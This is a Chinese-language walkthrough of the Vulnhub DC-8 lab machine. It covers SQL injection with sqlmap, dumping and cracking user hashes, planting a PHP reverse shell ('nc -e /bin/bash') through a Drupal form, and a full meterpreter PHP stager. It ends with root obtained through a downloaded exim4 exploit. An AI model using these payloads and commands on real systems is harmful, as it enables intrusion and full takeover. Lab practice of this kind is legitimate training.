(Vulnhub练习)-- DC: 8渗透实战
字数 834 2025-08-24 16:48:07
DC-8 渗透实战教学文档
1. 环境准备
1.1 下载靶机
- 下载地址: https://www.vulnhub.com/entry/dc-8,367/
- 靶机类型: Vulnhub 练习环境
1.2 网络配置
- 使用
netdiscover扫描目标主机:
netdiscover -i eth0 -r 192.168.100.0/24
- 目标主机IP: 192.168.100.160
2. 信息收集
2.1 自动化信息收集脚本
#!/usr/bin/bash
ip=192.168.100.$1
ping -c2 $ip &>/dev/null
if [ $? -eq 0 ]; then
echo "$ip is up"
else
echo "$ip is down"
exit
fi
masscan --rate=10000 --ports 0-65535 $ip
nmap -A $ip
sleep 30
whatweb $ip
sleep 10
dirsearch -u $ip
sleep 5
nikto -h $ip
sleep 5
dirb http://$ip
2.2 执行信息收集
/home/xiaoxiaoran/shell/xinxi.sh 160
3. 漏洞发现与利用
3.1 SQL注入漏洞
- 可疑URL:
- http://192.168.100.160/?nid=1
- http://192.168.100.160/?nid=2
- http://192.168.100.160/?nid=3
3.2 使用sqlmap进行自动化注入
# 检测注入点
sqlmap -u http://192.168.100.160/?nid=2
# 获取当前数据库
sqlmap -u http://192.168.100.160/?nid=2 --current-db
# 获取表名
sqlmap -u http://192.168.100.160/?nid=2 -D d7db --tables
# 获取列名
sqlmap -u http://192.168.100.160/?nid=2 -D d7db -T users --columns
# 导出数据
sqlmap -u http://192.168.100.160/?nid=2 -D d7db -T users -C name,pass --dump
3.3 获取的凭据
admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
3.4 破解密码
- 使用John the Ripper破解john用户的密码
- 得到用户名密码: john / turtle
4. 获取Web Shell
4.1 登录后台
- 使用获取的凭据登录网站后台
4.2 编辑PHP代码
- 找到可以编辑PHP代码的地方
- 在"Confirmation message"信息处设置:
- Text format --> PHP
- 提交PHP反弹shell代码:
<p>flag</p><?php system("nc -e /bin/bash 192.168.100.143 1234");?>
4.3 监听反弹shell
nc -nvlp 1234
5. 使用Metasploit获取Meterpreter会话
5.1 生成PHP反向shell payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.100.143 LPORT=8080 -f raw > shell.php
5.2 创建资源文件php.rc
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.100.143
set LPORT 8080
exploit
5.3 启动监听
msfconsole -qr /home/xiaoxiaoran/shell/php.rc
5.4 上传并执行PHP payload
<p>flag</p>
/* <?php /**/ error_reporting(0);
$ip = '192.168.100.143';
$port = 8080;
if (($f = 'stream_socket_client') && is_callable($f)) {
$s = $f("tcp://{$ip}:{$port}");
$s_type = 'stream';
}
if (!$s && ($f = 'fsockopen') && is_callable($f)) {
$s = $f($ip, $port);
$s_type = 'stream';
}
if (!$s && ($f = 'socket_create') && is_callable($f)) {
$s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);
if (!$res) { die(); }
$s_type = 'socket';
}
if (!$s_type) { die('no socket funcs'); }
if (!$s) { die('no socket'); }
switch ($s_type) {
case 'stream': $len = fread($s, 4); break;
case 'socket': $len = socket_read($s, 4); break;
}
if (!$len) { die(); }
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len) {
switch ($s_type) {
case 'stream': $b .= fread($s, $len-strlen($b)); break;
case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
}
}
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
$suhosin_bypass=create_function('', $b);
$suhosin_bypass();
} else { eval($b); }
die();
6. 提权
6.1 获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
6.2 查找SUID权限文件
find / -perm -u=s -type f 2>/dev/null
- 发现exim4具有root权限
6.3 检查exim4版本
exim4 --version
6.4 搜索exim4漏洞
searchsploit exim 4.8
6.5 利用exim4漏洞提权
- 查看漏洞利用方法:
cat /usr/share/exploitdb/exploits/linux/local/46996.sh
- 将漏洞利用脚本复制到web目录:
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html/46996.sh
- 在靶机上下载并执行:
wget http://192.168.100.143/46996.sh
chmod +x 46996.sh
./46996.sh -m netcat
- 解决Windows/Linux换行符问题:
# 如果出现执行错误
set ff=unix # 在vim中设置文件格式为Unix
# 重新上传执行
7. 获取flag
- 成功提权后,在系统中查找并查看flag文件